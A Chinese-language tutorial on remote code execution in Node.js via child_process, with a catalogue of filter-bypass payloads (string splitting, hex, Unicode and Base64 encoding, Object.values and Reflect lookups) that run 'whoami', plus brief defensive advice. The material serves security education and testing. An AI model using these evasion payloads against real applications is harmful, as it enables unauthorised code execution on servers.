NodeJS中的RCE的利用和绕过
字数 1307 2025-08-06 23:10:31
NodeJS中的RCE利用与绕过方法详解
0x01 NodeJS简介
Node.js是一个基于Chrome V8 JavaScript引擎构建的JavaScript运行时环境,它使JavaScript能够运行在服务端。Node.js采用事件驱动、非阻塞I/O模型,具有轻量级和高效的特点。
0x02 NodeJS中的RCE实现
2.1 child_process子进程模块
child_process模块提供了衍生子进程的能力,类似于popen(3)的功能,是NodeJS中实现RCE的主要途径。该模块提供了多种方法来创建和控制子进程:
-
child_process.exec()
- 衍生shell并在该shell中运行命令
- 命令完成后将stdout和stderr传给回调函数
- 示例:
require("child_process").exec("whoami", function(err, stdout, stderr) { console.log(stdout); });
-
child_process.spawn()
- 异步衍生子进程
- 不会阻塞Node.js事件循环
-
child_process.spawnSync()
- spawn()的同步版本
- 会阻塞事件循环,直到衍生的进程退出或终止
-
child_process.execSync()
- exec()的同步版本
- 会阻塞Node.js事件循环
0x03 NodeJS RCE绕过技术
3.1 常见Bypass方法
-
点号(.)过滤绕过
- 使用方括号[]进行属性访问:
require["child_process"]["exec"]("whoami")
- 使用方括号[]进行属性访问:
-
字符串拼接绕过
- 将关键字拆分为多个部分再拼接:
"child_pro" + "cess"
- 将关键字拆分为多个部分再拼接:
-
十六进制编码绕过
- JavaScript支持十六进制字符串表示:
"\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73" // child_process
- JavaScript支持十六进制字符串表示:
-
Unicode编码绕过
- 使用Unicode转义序列:
"\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073" // child_process
- 使用Unicode转义序列:
-
ES6模板字符串绕过
- 使用反引号模板:
`${"child_pro"}${"cess"}`
- 使用反引号模板:
-
concat方法拼接
- 使用字符串concat方法:
"child_pro".concat("cess")
- 使用字符串concat方法:
-
Base64编码绕过
- 使用Buffer解码Base64编码的字符串:
Buffer.from("Y2hpbGRfcHJvY2Vzcw==", "base64").toString() // child_process
- 使用Buffer解码Base64编码的字符串:
3.2 Object.values方法利用
Object.values(obj)返回一个包含对象自身所有可遍历属性值的数组,类似于Java中的反射机制。
获取child_process库的所有对象:
Object.values(require("child_process"))
执行命令示例(假设child_process是第4个对象):
Object.values(require("child_process"))[4].exec("whoami")
3.3 Reflect对象利用
Reflect是JavaScript内置对象,提供拦截JavaScript操作的方法。所有Reflect的方法都是静态的。
-
Reflect.ownKeys()
- 返回目标对象自身属性键组成的数组
- 获取全局对象global的所有属性:
Reflect.ownKeys(global)
-
查找特定方法
- 使用find方法从全局对象中查找所需方法:
Reflect.ownKeys(global).find(x => x === "require")
- 使用find方法从全局对象中查找所需方法:
-
组合利用
- 通过Reflect获取require函数后调用child_process:
global[Reflect.ownKeys(global).find(x => x === "require")]("child_process").exec("whoami")
- 通过Reflect获取require函数后调用child_process:
防御建议
- 避免将用户输入直接传递给child_process方法
- 对用户输入进行严格的过滤和验证
- 使用白名单机制限制可执行的命令
- 考虑使用沙箱环境隔离危险操作
- 保持Node.js和依赖库的及时更新
总结
NodeJS中的RCE主要通过child_process模块实现,而绕过技术则利用了JavaScript灵活的特性,包括多种字符串表示方式、反射机制和对象操作API。理解这些技术有助于开发更安全的Node.js应用,同时也能帮助安全研究人员进行有效的漏洞挖掘和测试。